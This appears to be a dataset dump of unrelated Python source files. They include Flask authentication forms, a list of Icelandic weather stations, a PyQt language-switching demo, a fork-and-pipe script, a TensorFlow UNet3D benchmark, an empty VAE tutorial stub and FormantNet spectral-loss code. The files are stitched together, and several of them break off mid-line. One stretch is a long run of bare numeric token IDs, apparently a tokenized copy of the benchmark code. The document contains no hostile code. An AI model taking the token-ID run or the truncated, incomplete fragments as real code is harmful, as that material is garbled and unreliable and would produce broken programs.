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paulo037
/
starcoder

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app/auth/forms.py
karomag/microblog
0
37776
<filename>app/auth/forms.py # -*- coding:utf-8 -*- """Forms auth.""" from flask_babel import _ from flask_babel import lazy_gettext as _l from flask_wtf import FlaskForm from wtforms import ( BooleanField, PasswordField, StringField, SubmitField, ) from wtforms.validators import ( DataRequired, Email, EqualTo, ValidationError, ) from app.models import User class LoginForm(FlaskForm): """Login form. Args: FlaskForm (class): Flask-specific subclass of WTForms """ username = StringField(_l('Username'), validators=[DataRequired()]) password = PasswordField(_l('Password'), validators=[DataRequired()]) remember_me = BooleanField(_l('Remember me')) submit = SubmitField(_l('Sigh In')) class RegistrationForm(FlaskForm): """Registration form. Args: FlaskForm (class): Flask-specific subclass of WTForms """ username = StringField(_l('Username'), validators=[DataRequired()]) email = StringField(_l('Email'), validators=[DataRequired(), Email()]) password = PasswordField(_l('Password'), validators=[DataRequired()]) password2 = PasswordField( _l('<PASSWORD> Password'), validators=[DataRequired(), EqualTo('password')], ) submit = SubmitField(_l('Register')) # TODO: Method 'validate_username' may be 'static' def validate_username(self, username): """Checks the username field's data for uniqueness. Args: username: Username field data Raises: ValidationError, if the username is not unique """ user = User.query.filter_by(username=username.data).first() if user is not None: raise ValidationError(_('Please use a different username.')) # TODO: Fix function. def validate_email(self, email): """Checks the email field's data for uniqueness. Args: email: Email field data Raises: ValidationError, if an email is not unique """ user = User.query.filter_by(email=email.data).first() if user is not None: raise ValidationError(_('Please use a different email address.')) class ResetPasswordRequestForm(FlaskForm): email = StringField(_l('Email'), validators=[DataRequired(), Email()]) submit = SubmitField(_l('Request Password Reset')) class ResetPasswordForm(FlaskForm): password = PasswordField(_l('Password'), validators=[DataRequired()]) password2 = PasswordField( _l('Repeat Password'), validators=[DataRequired(), EqualTo('password')], ) submit = SubmitField(_l('Request Password Reset'))
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Software/__init__.py
justins0923/zephyrus-iaq
1
49424
Software/ Config/ GUI/ IAQ_GUI.py HAT/ IAQ_DAC43608.py IAQ_Mux.py Sensors/ IAQ_Sensor.py IAQ_MqGas.py third_party/ bme680-python IAQ_AnalogPortController.py IAQ_Exceptions.py IAQ_FileHandler.py IAQ_Logger.py
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iceweather/stations.py
mideind/iceweather
0
172290
<gh_stars>0 """ iceweather: Look up information about Icelandic weather (observations, forecasts, human readable descriptive texts, etc.) using vedur.is xmlweather API. Copyright (c) 2019-2021 <NAME>. Original author: <NAME> BSD 3-clause License (see License.txt). """ from typing import List, Dict STATIONS: List[Dict] = [ {"id": 1, "lat": 64.1275, "lon": -21.9028, "name": "Reykjavík"}, {"id": 178, "lat": 65.074, "lon": -22.7339, "name": "Stykkishólmur"}, {"id": 195, "lat": 65.2297, "lon": -21.7543, "name": "Ásgarður"}, {"id": 234, "lat": 65.8679, "lon": -23.5641, "name": "<NAME>"}, {"id": 293, "lat": 66.0213, "lon": -21.425, "name": "Litla-Ávík"}, {"id": 400, "lat": 66.1852, "lon": -18.9534, "name": "Sauðanesviti"}, {"id": 422, "lat": 65.6856, "lon": -18.1002, "name": "Akureyri"}, {"id": 495, "lat": 65.6423, "lon": -16.1208, "name": "Grímsstaðir"}, {"id": 515, "lat": 66.0659, "lon": -15.0792, "name": "Miðfjarðarnes"}, {"id": 527, "lat": 65.7027, "lon": -14.8211, "name": "Skjaldþingsstaðir"}, {"id": 571, "lat": 65.283, "lon": -14.4025, "name": "Egilsstaðaflugvöllur"}, {"id": 620, "lat": 65.2682, "lon": -13.5759, "name": "Dalatangi"}, {"id": 802, "lat": 63.4236, "lon": -19.183, "name": "Vatnsskarðshólar"}, {"id": 931, "lat": 64.2504, "lon": -20.3309, "name": "Hjarðarland"}, {"id": 990, "lat": 63.9747, "lon": -22.5876, "name": "Keflavíkurflugvöllur"}, {"id": 1350, "lat": 63.9829, "lon": -22.6005, "name": "Keflavíkurflugvöllur"}, {"id": 1361, "lat": 63.8438, "lon": -22.417, "name": "Grindavík"}, {"id": 1395, "lat": 63.8692, "lon": -21.1602, "name": "Eyrarbakki"}, {"id": 1453, "lat": 64.0817, "lon": -22.6893, "name": "Garðskagaviti"}, {"id": 1471, "lat": 64.1545, "lon": -22.0325, "name": "<NAME>"}, {"id": 1473, "lat": 64.0438, "lon": -22.0404, "name": "Straumsvík"}, {"id": 1474, "lat": 64.0712, "lon": -21.9107, "name": "<NAME>"}, # {"id": 1475, "lat": 64.1275, "lon": -21.902, "name": "Reykjavík"}, # {"id": 1477, "lat": 64.1284, "lon": -21.9407, "name": "Reykjavíkurflugvöllur"}, # {"id": 1478, "lat": 64.1292, "lon": -21.8392, "name": "<NAME>"}, {"id": 1479, "lat": 64.1505, "lon": -21.7511, "name": "Korpa"}, {"id": 1480, "lat": 64.1678, "lon": -21.8038, "name": "Geldinganes"}, {"id": 1481, "lat": 64.1085, "lon": -21.6864, "name": "Hólmsheiði"}, {"id": 1482, "lat": 64.1035, "lon": -21.7971, "name": "<NAME>"}, {"id": 1486, "lat": 63.969, "lon": -21.6661, "name": "Bláfjöll"}, {"id": 1487, "lat": 63.9831, "lon": -21.6497, "name": "Bláfjallaskáli"}, {"id": 1490, "lat": 64.0333, "lon": -21.3665, "name": "Hellisskarð"}, {"id": 1493, "lat": 64.0553, "lon": -21.2532, "name": "Ölkelduháls"}, {"id": 1496, "lat": 64.0567, "lon": -21.3469, "name": "Skarðsmýrarfjall"}, {"id": 1578, "lat": 64.2318, "lon": -21.8046, "name": "Skrauthólar"}, {"id": 1590, "lat": 64.2405, "lon": -21.4633, "name": "Skálafell"}, {"id": 1596, "lat": 64.2807, "lon": -21.0875, "name": "Þingvellir"}, {"id": 1673, "lat": 64.4647, "lon": -21.9628, "name": "Hafnarmelar"}, {"id": 1679, "lat": 64.4902, "lon": -21.7621, "name": "<NAME>"}, {"id": 1685, "lat": 64.3877, "lon": -21.4169, "name": "Þyrill"}, {"id": 1689, "lat": 64.4529, "lon": -21.4034, "name": "Botnsheiði"}, {"id": 1779, "lat": 64.5622, "lon": -21.7649, "name": "Hvanneyri"}, {"id": 1781, "lat": 64.643, "lon": -21.5893, "name": "Stafholtsey"}, {"id": 1868, "lat": 64.6943, "lon": -22.1473, "name": "<NAME>"}, {"id": 1881, "lat": 64.7268, "lon": -21.6297, "name": "Litla-Skarð"}, {"id": 1919, "lat": 64.9041, "lon": -23.9346, "name": "Gufuskálar"}, {"id": 1924, "lat": 64.8957, "lon": -23.7162, "name": "Ólafsvík"}, {"id": 1936, "lat": 64.8393, "lon": -23.3012, "name": "Bláfeldur"}, {"id": 1938, "lat": 64.9213, "lon": -23.2513, "name": "Grundarfjörður"}, {"id": 2050, "lat": 65.0717, "lon": -22.7324, "name": "Stykkishólmur"}, {"id": 2175, "lat": 65.2297, "lon": -21.7543, "name": "Ásgarður"}, {"id": 2197, "lat": 65.2543, "lon": -21.0978, "name": "<NAME>"}, {"id": 2266, "lat": 65.4377, "lon": -22.2056, "name": "Reykhólar"}, {"id": 2304, "lat": 65.5029, "lon": -24.5312, "name": "Bjargtangar"}, {"id": 2315, "lat": 65.4924, "lon": -24.0925, "name": "Lambavatn"}, {"id": 2319, "lat": 65.5951, "lon": -23.9748, "name": "Patreksfjörður"}, {"id": 2323, "lat": 65.6276, "lon": -23.8302, "name": "Tálknafjörður"}, {"id": 2370, "lat": 65.5528, "lon": -21.8257, "name": "Arnkatla"}, {"id": 2428, "lat": 65.6794, "lon": -23.6122, "name": "Bíldudalur"}, {"id": 2480, "lat": 65.7284, "lon": -21.5718, "name": "Bjarnarfjarðarháls"}, {"id": 2481, "lat": 65.6873, "lon": -21.6813, "name": "Hólmavík"}, {"id": 2530, "lat": 65.8686, "lon": -23.5578, "name": "<NAME>"}, {"id": 2631, "lat": 66.05, "lon": -23.51, "name": "Flateyri"}, {"id": 2636, "lat": 66.0444, "lon": -23.3074, "name": "Þverfjall"}, {"id": 2640, "lat": 66.076, "lon": -23.1987, "name": "Seljalandsdalur"}, {"id": 2641, "lat": 66.068, "lon": -23.210, "name": "<NAME>"}, {"id": 2642, "lat": 66.0596, "lon": -23.1699, "name": "Ísafjörður"}, {"id": 2643, "lat": 66.1066, "lon": -23.1091, "name": "Hnífsdalur"}, {"id": 2646, "lat": 66.0426, "lon": -22.986, "name": "Súðavík"}, {"id": 2655, "lat": 66.1006, "lon": -22.6594, "name": "Æðey"}, {"id": 2692, "lat": 65.9951, "lon": -21.3304, "name": "Gjögurflugvöllur"}, {"id": 2738, "lat": 66.161, "lon": -23.2538, "name": "Bolungarvík"}, {"id": 2862, "lat": 66.4107, "lon": -22.3789, "name": "Hornbjargsviti"}, {"id": 2941, "lat": 66.433, "lon": -23.133, "name": "Straumnesviti"}, {"id": 3007, "lat": 65.123, "lon": -20.6961, "name": "Austurárdalsháls"}, {"id": 3054, "lat": 65.0628, "lon": -18.8383, "name": "Sáta"}, {"id": 3103, "lat": 65.1839, "lon": -20.785, "name": "Haugur"}, {"id": 3223, "lat": 65.3784, "lon": -20.2473, "name": "Brúsastaðir"}, {"id": 3225, "lat": 65.2307, "lon": -19.7177, "name": "Kolka"}, {"id": 3242, "lat": 65.4583, "lon": -19.3691, "name": "Nautabú"}, {"id": 3292, "lat": 65.3419, "lon": -17.2465, "name": "Svartárkot"}, {"id": 3317, "lat": 65.658, "lon": -20.2925, "name": "Blönduós"}, {"id": 3371, "lat": 65.501, "lon": -18.1616, "name": "Torfur"}, {"id": 3380, "lat": 65.5851, "lon": -17.7667, "name": "<NAME>"}, {"id": 3433, "lat": 65.7259, "lon": -19.5737, "name": "<NAME>"}, {"id": 3463, "lat": 65.7707, "lon": -18.2513, "name": "Möðruvellir"}, {"id": 3471, "lat": 65.6961, "lon": -18.1113, "name": "<NAME>"}, {"id": 3474, "lat": 65.7485, "lon": -18.0011, "name": "Vaðlaheiði"}, {"id": 3477, "lat": 65.817, "lon": -17.8857, "name": "<NAME>"}, {"id": 3490, "lat": 65.7873, "lon": -17.0035, "name": "Gæsafjöll"}, {"id": 3591, "lat": 65.821, "lon": -17.3446, "name": "Staðarhóll"}, {"id": 3596, "lat": 65.856, "lon": -17.2015, "name": "Rauðhálsar"}, {"id": 3658, "lat": 66.0739, "lon": -18.6656, "name": "Ólafsfjörður"}, {"id": 3696, "lat": 66.0418, "lon": -17.3281, "name": "Húsavík"}, {"id": 3720, "lat": 66.1192, "lon": -20.0989, "name": "Skagatá"}, {"id": 3751, "lat": 66.1845, "lon": -18.9534, "name": "Sauðanesviti"}, {"id": 3752, "lat": 66.1349, "lon": -18.919, "name": "Siglufjörður"}, {"id": 3754, "lat": 66.1938, "lon": -18.8431, "name": "Siglunes"}, {"id": 3779, "lat": 66.1631, "lon": -17.8408, "name": "<NAME>"}, {"id": 3797, "lat": 66.1994, "lon": -17.1028, "name": "Mánárbakki"}, {"id": 3976, "lat": 66.5438, "lon": -18.0167, "name": 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questions/53349623/main.py
sesu089/stackoverflow
302
2893
<gh_stars>100-1000 import sys from PyQt5 import QtCore, QtGui, QtWidgets class Demo(QtWidgets.QWidget): def __init__(self): super(Demo, self).__init__() self.button = QtWidgets.QPushButton() self.label = QtWidgets.QLabel(alignment=QtCore.Qt.AlignCenter) self.combo = QtWidgets.QComboBox(self) self.combo.currentIndexChanged.connect(self.change_func) self.trans = QtCore.QTranslator(self) self.v_layout = QtWidgets.QVBoxLayout(self) self.v_layout.addWidget(self.combo) self.v_layout.addWidget(self.button) self.v_layout.addWidget(self.label) options = ([('English', ''), ('français', 'eng-fr' ), ('中文', 'eng-chs'), ]) for i, (text, lang) in enumerate(options): self.combo.addItem(text) self.combo.setItemData(i, lang) self.retranslateUi() @QtCore.pyqtSlot(int) def change_func(self, index): data = self.combo.itemData(index) if data: self.trans.load(data) QtWidgets.QApplication.instance().installTranslator(self.trans) else: QtWidgets.QApplication.instance().removeTranslator(self.trans) def changeEvent(self, event): if event.type() == QtCore.QEvent.LanguageChange: self.retranslateUi() super(Demo, self).changeEvent(event) def retranslateUi(self): self.button.setText(QtWidgets.QApplication.translate('Demo', 'Start')) self.label.setText(QtWidgets.QApplication.translate('Demo', 'Hello, World')) if __name__ == '__main__': app = QtWidgets.QApplication(sys.argv) demo = Demo() demo.show() sys.exit(app.exec_())
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pipe1.py
preethamsridhar/advancedPython
1
1606712
<reponame>preethamsridhar/advancedPython # -*- coding: utf-8 -*- """ Created on Wed May 1 17:52:41 2019 @author: preet """ import os def child(pipeout): bottles = 99 while True: bob = "bottle of beer" otw = "on the wall" take1 = "Take one down and pass it around" store = "Go to the store and buy some more" if bottles > 0: values = (bottles, bob , otw, bottles, bob, take1, bottles - 1, bob, otw) verse = "%2d %s %s,\n%2d %s.\n%s,\n%2d %s %s." % values os.write(pipeout, verse) bottles -= 1 else: bottles = 99 values = (bob, otw, bob, store, bottles, bob,otw) verse = "No more %s %s,\nno more %s.\n%s,\n%2d %s %s." % values os.write(pipeout, verse) def parent(): pipein, pipeout = os.pipe() if os.fork() == 0: child(pipeout) else: counter = 1 while True: if counter % 100: verse = os.read(pipein, 117) else: verse = os.read(pipein, 128) print("verse %d\n%s\n" %(counter, verse)) counter += 1 parent()
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official/benchmark/unet3d_benchmark.py
gitlost-murali/models
2
25983
# Lint as: python3 # Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Executes benchmark testing for 3D Unet model.""" # pylint: disable=line-too-long from __future__ import print_function import functools import os import time from typing import Optional from absl import flags import tensorflow as tf # pylint: disable=g-bad-import-order from official.benchmark import benchmark_wrappers from official.benchmark import keras_benchmark from official.benchmark import owner_utils from official.vision.segmentation import unet_main as unet_training_lib from official.vision.segmentation import unet_model as unet_model_lib UNET3D_MIN_ACCURACY = 0.90 UNET3D_MAX_ACCURACY = 0.98 UNET_TRAINING_FILES = 'gs://mlcompass-data/unet3d/train_data/*' UNET_EVAL_FILES = 'gs://mlcompass-data/unet3d/eval_data/*' UNET_MODEL_CONFIG_FILE = 'gs://mlcompass-data/unet3d/config/unet_config.yaml' FLAGS = flags.FLAGS class Unet3DAccuracyBenchmark(keras_benchmark.KerasBenchmark): """Benchmark accuracy tests for UNet3D model in Keras.""" def __init__(self, output_dir: Optional[str] = None, root_data_dir: Optional[str] = None, **kwargs): """A benchmark class. Args: output_dir: directory where to output e.g. log files root_data_dir: directory under which to look for dataset **kwargs: arbitrary named arguments. This is needed to make the constructor forward compatible in case PerfZero provides more named arguments before updating the constructor. """ flag_methods = [unet_training_lib.define_unet3d_flags] # UNet3D model in Keras.""" self.training_file_pattern = UNET_TRAINING_FILES self.eval_file_pattern = UNET_EVAL_FILES # TODO(hongjunchoi): Create and use shared config file instead. self.config_file = UNET_MODEL_CONFIG_FILE super(Unet3DAccuracyBenchmark, self).__init__( output_dir=output_dir, flag_methods=flag_methods) def _set_benchmark_parameters(self, experiment_name): """Overrides training parameters for benchmark tests.""" FLAGS.model_dir = self._get_model_dir(experiment_name) FLAGS.mode = 'train' FLAGS.training_file_pattern = self.training_file_pattern FLAGS.eval_file_pattern = self.eval_file_pattern FLAGS.config_file = self.config_file FLAGS.lr_init_value = 0.00005 FLAGS.lr_decay_rate = 0.5 FLAGS.epochs = 3 @benchmark_wrappers.enable_runtime_flags def _run_and_report_benchmark(self, experiment_name: str, min_accuracy: float = UNET3D_MIN_ACCURACY, max_accuracy: float = UNET3D_MAX_ACCURACY, distribution_strategy: str = 'tpu', epochs: int = 10, steps: int = 0, epochs_between_evals: int = 1, dtype: str = 'float32', enable_xla: bool = False, run_eagerly: bool = False): """Runs and reports the benchmark given the provided configuration.""" params = unet_training_lib.extract_params(FLAGS) strategy = unet_training_lib.create_distribution_strategy(params) input_dtype = params.dtype if input_dtype == 'float16' or input_dtype == 'bfloat16': policy = tf.keras.mixed_precision.experimental.Policy( 'mixed_bfloat16' if input_dtype == 'bfloat16' else 'mixed_float16') tf.keras.mixed_precision.experimental.set_policy(policy) stats = {} start_time_sec = time.time() with strategy.scope(): unet_model = unet_model_lib.build_unet_model(params) history = unet_training_lib.train( params, strategy, unet_model, functools.partial(unet_training_lib.get_train_dataset, params), functools.partial(unet_training_lib.get_eval_dataset, params)) stats['accuracy_top_1'] = history.history['val_metric_accuracy'][-1] stats['training_accuracy_top_1'] = history.history['metric_accuracy'][-1] wall_time_sec = time.time() - start_time_sec super(Unet3DAccuracyBenchmark, self)._report_benchmark( stats, wall_time_sec, top_1_min=min_accuracy, top_1_max=max_accuracy, total_batch_size=params.train_batch_size) def _get_model_dir(self, folder_name): return os.path.join(self.output_dir, folder_name) @owner_utils.Owner('tf-model-garden') def benchmark_4x4_tpu_bf16(self): """Test Keras model with 4x4 TPU, fp16.""" experiment_name = 'benchmark_4x4_tpu_fp16' self._setup() self._set_benchmark_parameters(experiment_name) self._run_and_report_benchmark( experiment_name=experiment_name, dtype='bfloat16', distribution_strategy='tpu') @owner_utils.Owner('tf-graph-compiler') def benchmark_4x4_tpu_bf16_mlir(self): """Test Keras model with 4x4 TPU, fp16 and MLIR enabled.""" experiment_name = 'benchmark_4x4_tpu_fp16_mlir' tf.config.experimental.enable_mlir_bridge() self._setup() self._set_benchmark_parameters(experiment_name) self._run_and_report_benchmark( experiment_name=experiment_name, dtype='bfloat16', distribution_strategy='tpu') if __name__ == '__main__': tf.test.main()
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6558, 29879, 322, 13676, 278, 23513, 2183, 278, 4944, 5285, 1213, 15945, 13, 1678, 8636, 353, 443, 300, 29918, 26495, 29918, 1982, 29889, 21111, 29918, 7529, 29898, 18823, 10749, 29897, 13, 1678, 13705, 353, 443, 300, 29918, 26495, 29918, 1982, 29889, 3258, 29918, 27691, 29918, 710, 8963, 29898, 7529, 29897, 13, 13, 1678, 1881, 29918, 29881, 1853, 353, 8636, 29889, 29881, 1853, 13, 1678, 565, 1881, 29918, 29881, 1853, 1275, 525, 7411, 29896, 29953, 29915, 470, 1881, 29918, 29881, 1853, 1275, 525, 1635, 3071, 29896, 29953, 2396, 13, 418, 8898, 353, 15886, 29889, 3946, 294, 29889, 29885, 11925, 29918, 17990, 2459, 29889, 735, 27910, 29889, 15644, 29898, 13, 3986, 525, 29885, 11925, 29918, 1635, 3071, 29896, 29953, 29915, 565, 1881, 29918, 29881, 1853, 1275, 525, 1635, 3071, 29896, 29953, 29915, 1683, 525, 29885, 11925, 29918, 7411, 29896, 29953, 1495, 13, 418, 15886, 29889, 3946, 294, 29889, 29885, 11925, 29918, 17990, 2459, 29889, 735, 27910, 29889, 842, 29918, 22197, 29898, 22197, 29897, 13, 13, 1678, 22663, 353, 6571, 13, 1678, 1369, 29918, 2230, 29918, 3471, 353, 931, 29889, 2230, 580, 13, 1678, 411, 13705, 29889, 6078, 7295, 13, 418, 443, 300, 29918, 4299, 353, 443, 300, 29918, 4299, 29918, 1982, 29889, 4282, 29918, 348, 300, 29918, 4299, 29898, 7529, 29897, 13, 418, 4955, 353, 443, 300, 29918, 26495, 29918, 1982, 29889, 14968, 29898, 13, 3986, 8636, 29892, 13705, 29892, 443, 300, 29918, 4299, 29892, 13, 3986, 2090, 312, 8789, 29889, 3846, 29898, 348, 300, 29918, 26495, 29918, 1982, 29889, 657, 29918, 14968, 29918, 24713, 29892, 8636, 511, 13, 3986, 2090, 312, 8789, 29889, 3846, 29898, 348, 300, 29918, 26495, 29918, 1982, 29889, 657, 29918, 14513, 29918, 24713, 29892, 8636, 876, 13, 13, 418, 22663, 1839, 562, 2764, 4135, 29918, 3332, 29918, 29896, 2033, 353, 4955, 29889, 18434, 1839, 791, 29918, 16414, 29918, 562, 2764, 4135, 2033, 14352, 29896, 29962, 13, 418, 22663, 1839, 26495, 29918, 562, 2764, 4135, 29918, 3332, 29918, 29896, 2033, 353, 4955, 29889, 18434, 1839, 16414, 29918, 562, 2764, 4135, 2033, 14352, 29896, 29962, 13, 1678, 10090, 29918, 2230, 29918, 3471, 353, 931, 29889, 2230, 580, 448, 1369, 29918, 2230, 29918, 3471, 13, 13, 1678, 2428, 29898, 29965, 1212, 29941, 29928, 7504, 332, 4135, 20841, 16580, 29892, 1583, 467, 29918, 12276, 29918, 1785, 16580, 29898, 13, 4706, 22663, 29892, 13, 4706, 10090, 29918, 2230, 29918, 3471, 29892, 13, 4706, 2246, 29918, 29896, 29918, 1195, 29922, 1195, 29918, 562, 2764, 4135, 29892, 13, 4706, 2246, 29918, 29896, 29918, 3317, 29922, 3317, 29918, 562, 2764, 4135, 29892, 13, 4706, 3001, 29918, 16175, 29918, 2311, 29922, 7529, 29889, 14968, 29918, 16175, 29918, 2311, 29897, 13, 13, 29871, 822, 903, 657, 29918, 4299, 29918, 3972, 29898, 1311, 29892, 4138, 29918, 978, 1125, 13, 1678, 736, 2897, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4905, 29918, 3972, 29892, 4138, 29918, 978, 29897, 13, 13, 29871, 732, 20348, 29918, 13239, 29889, 28213, 877, 13264, 29899, 4299, 29899, 29887, 7879, 1495, 13, 29871, 822, 23513, 29918, 29946, 29916, 29946, 29918, 29873, 3746, 29918, 1635, 29896, 29953, 29898, 1311, 1125, 13, 1678, 9995, 3057, 12693, 294, 1904, 411, 29871, 29946, 29916, 29946, 323, 7056, 29892, 285, 29886, 29896, 29953, 1213, 15945, 13, 1678, 7639, 29918, 978, 353, 525, 1785, 16580, 29918, 29946, 29916, 29946, 29918, 29873, 3746, 29918, 18091, 29896, 29953, 29915, 13, 1678, 1583, 3032, 14669, 580, 13, 1678, 1583, 3032, 842, 29918, 1785, 16580, 29918, 16744, 29898, 735, 15362, 29918, 978, 29897, 13, 1678, 1583, 3032, 3389, 29918, 392, 29918, 12276, 29918, 1785, 16580, 29898, 13, 4706, 7639, 29918, 978, 29922, 735, 15362, 29918, 978, 29892, 13, 4706, 26688, 2433, 1635, 3071, 29896, 29953, 742, 13, 4706, 4978, 29918, 710, 8963, 2433, 29873, 3746, 1495, 13, 13, 29871, 732, 20348, 29918, 13239, 29889, 28213, 877, 13264, 29899, 4262, 29899, 21789, 1495, 13, 29871, 822, 23513, 29918, 29946, 29916, 29946, 29918, 29873, 3746, 29918, 1635, 29896, 29953, 29918, 828, 381, 29898, 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04 - IWAE/vae.py
wrongu/vae-tutorial
5
1606667
<reponame>wrongu/vae-tutorial<gh_stars>1-10 import keras.backend as K from keras.engine import Model class IWAE(object): # YOUR CODE HERE class VAE(IWAE): # YOUR CODE HERE
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User/FN_model.py
NemoursResearch/FormantTracking
2
181522
<reponame>NemoursResearch/FormantTracking<filename>User/FN_model.py<gh_stars>1-10 #!/usr/bin/env python # coding: utf-8 # # FormantNet Model Functions # Functions used for defining, training, or using FormantNet models. # In[ ]: import tensorflow as tf import numpy as np import sys import os import glob from FN_data import getdata # ### Rescaling Model Output # The **rescale_params()** function takes the output of the model, which is typically on a scale of 0 to 1 or -1 to 1, and rescales it to the expected scale for formant parameters (e.g. 0-8000 Hz for frequencies). The minimum and maximum values allowed for each formant parameter type (frequency, bandwidth, and amplitude) can be adjusted by the user using the configuration file. The input scale depends on the output activation function of the model (TOP_ACTIVATION); we experimented with linear, tanh, softsign, and ReLU, but found that sigmoid usually works best. # # Notes: # * As defined by the use of the tf.split below, this function forces the output of the model to be in the order **F1 F2 F3 ... B1 B2 B3 ... A1 A2 A3 ....** (which may be subsequently rearranged by **track_files()**). # * If ReLU is used as the activation function, the formant maximum values defined by cfg.MAXFREQ, cfg.MAXBW, and cfg.MAXAMP will be ignored. If linear is used, both minima and maxima are ignored. # * This function is needed for evaluation and any future use of the model (see again **track_files()** below). # In[ ]: def get_rescale_fn(cfg): @tf.function(input_signature=(tf.TensorSpec(shape=[None, cfg.NPARAMS], dtype=tf.float32),)) def rescale_params(params): freqs, bws, amps = tf.split(params, [cfg.NSUM, cfg.NSUM, cfg.NFORMANTS], axis=-1) if cfg.TOP_ACTIVATION == 'sigmoid': #network produces values between 0 and 1 freqs = cfg.MINFREQ + (freqs * (cfg.MAXFREQ - cfg.MINFREQ)) bws = cfg.MINBW + (bws * (cfg.MAXBW - cfg.MINBW)) amps = cfg.MINAMP + (amps * (cfg.MAXAMP - cfg.MINAMP)) elif cfg.TOP_ACTIVATION == 'softsign' or cfg.TOP_ACTIVATION == 'tanh': #network produces values between -1 and 1 freqs = cfg.MINFREQ + ((freqs + 1.0) * ((cfg.MAXFREQ - cfg.MINFREQ) / 2.0)) bws = cfg.MINBW + ((bws + 1.0) * ((cfg.MAXBW - cfg.MINBW) / 2.0)) amps = cfg.MINAMP + ((amps + 1.0) * ((cfg.MAXAMP - cfg.MINAMP) / 2.0)) elif cfg.TOP_ACTIVATION == 'relu': #network produces values of 0 or greater freqs = freqs + cfg.MINFREQ bws = bws + cfg.MINBW amps = amps + cfg.MINAMP return freqs, bws, amps return rescale_params # ### Loss Function # # The functions used to compute the loss are defined here. We tried to write the code so that it could handle variations in sampling rate (SAMPLERATE), frequency range (from 0 to MAX_ANALYSIS_FREQ), number of formants (NFORMANTS), number of anti-formants (NZEROS), spectral resolution (SPECTRUM_NPOINTS), and the activation type of the final model output layer (TOP_ACTIVATION). For the TIMIT experiments, these were all set constant across all experiments: 16K sampling rate, 0-8K frequency range, 6 formants, 1 zero, 257-point spectra, sigmoid activation. # The **formant()** function takes the frequency **F** and bandwidth **B** of each formant predicted by the model, and generates a corresponding formant: an array of spectrum levels **h** at each frequency bin **f** in the spectrum range at the given resolution (see Eqn. (1) of the IS2021 paper). The **vtfn()** function weights these by their corresponding amplitude factors, and combines them (multiplying or dividing, corresponding to whether it's a pole or zero) to produce a linear-scale spectral envelope. # In[ ]: def get_vtfn_func(cfg): spec1 = tf.cast(np.linspace(0.0, cfg.MAX_ANALYSIS_FREQ, cfg.SPECTRUM_NPOINTS), dtype=tf.float32) @tf.function def formant(freq, bw, nres): fex = tf.expand_dims(freq, axis=-1) bex = tf.expand_dims(bw, axis=-1) bsq = bex**2 * 0.25 anum = fex**2 + bsq #spec1 = tf.cast(np.linspace(0.0, cfg.MAX_ANALYSIS_FREQ, cfg.SPECTRUM_NPOINTS), dtype=tf.float32) spec2 = tf.tile(spec1, [tf.size(freq)]) spec = tf.reshape(spec2, [-1, nres, cfg.SPECTRUM_NPOINTS]) negspec = (spec - fex)**2 + bsq posspec = (spec + fex)**2 + bsq formants = anum / tf.math.sqrt(negspec * posspec) return(formants) #Note that vtfn returns a LINEAR-scale spectrum if cfg.NZEROS == 0: @tf.function def vtfn(freqs, bws, amps): ax = tf.expand_dims(amps, axis=-1) ax = 10.0 ** (ax / 20.0) #convert log amplitudes to linear specs = formant(freqs, bws, cfg.NFORMANTS) sumspec = tf.reduce_sum(ax * specs, axis = -2) return sumspec else: @tf.function def vtfn(freqs, bws, amps, zfreqs, zbws): ax = tf.expand_dims(amps, axis=-1) ax = 10.0 ** (ax / 20.0) #convert log amplitudes to linear fspecs = ax * formant(freqs, bws, cfg.NFORMANTS) sumspecs = tf.reduce_sum(fspecs, axis = -2, keepdims=True) zspecs = 1.0 / formant(zfreqs, zbws, cfg.NZEROS) allspecs = tf.concat([sumspecs, zspecs], axis = -2) prodspecs = tf.reduce_prod(allspecs, axis = -2) return prodspecs return vtfn # Finally, the model loss is calculated with **custom_loss()**. First, the batch and sequence dimensions are collapsed. Then the input model parameters are rescaled with **rescale_params()**. The formants are split into poles and zeros, and sent to **vtfn()** to compute a linear-scale spectral envelope. The envelope is then converted to decibel scale, and the spectral loss is calculated as the mean square difference between the generated envelope and the original envelope. # If Delta-Frequency Loss (added loss equal to variation in predicted formant frequency over time) is being used, it is also calculated here, weighted by the **DIFFWEIGHT** parameter, and added to the spectral loss to get the final loss. (We also experimented with using delta-loss with bandwidths and amplitudes, but those experiments have been unsuccessful so far.) # In[ ]: def get_custom_loss(cfg, rescale_params, vtfn): if cfg.NZEROS == 0: @tf.function(input_signature=(tf.TensorSpec(shape=[None, None, cfg.SPECTRUM_NPOINTS], dtype=tf.float32), tf.TensorSpec(shape=[None, None, cfg.NPARAMS], dtype=tf.float32))) def custom_loss(specs_input, params_pred): specs_input = tf.reshape(specs_input, [-1, cfg.SPECTRUM_NPOINTS]) params_pred = tf.reshape(params_pred, [-1, cfg.NPARAMS]) freqs, bws, amps = rescale_params(params_pred) specs_pred = vtfn(freqs, bws, amps) specs_pred = 20.0 * tf.math.log(cfg.FLOOR + specs_pred) / tf.math.log(10.0) mse = tf.math.reduce_mean(tf.square(specs_input - specs_pred)) #loss over whole batch fdiff = tf.math.reduce_mean(tf.abs(freqs[1:] - freqs[:-1])) #bdiff = tf.math.reduce_mean(tf.abs(bws[1:] - bws[:-1])) #adiff = tf.math.reduce_mean(tf.abs(amps[1:] - amps[:-1])) #return (mse + cfg.DIFFWEIGHT * (fdiff + bdiff + 25.0 * adiff)) return (mse + cfg.DIFFWEIGHT * fdiff) else: @tf.function(input_signature=(tf.TensorSpec(shape=[None, None, cfg.SPECTRUM_NPOINTS], dtype=tf.float32), tf.TensorSpec(shape=[None, None, cfg.NPARAMS], dtype=tf.float32))) def custom_loss(specs_input, params_pred): specs_input = tf.reshape(specs_input, [-1, cfg.SPECTRUM_NPOINTS]) params_pred = tf.reshape(params_pred, [-1, cfg.NPARAMS]) freqs, bws, amps = rescale_params(params_pred) pfreqs, zfreqs = tf.split(freqs, [cfg.NFORMANTS, cfg.NZEROS], axis=-1) pbws, zbws = tf.split(bws, [cfg.NFORMANTS, cfg.NZEROS], axis=-1) specs_pred = vtfn(pfreqs, pbws, amps, zfreqs, zbws) specs_pred = 20.0 * tf.math.log(cfg.FLOOR + 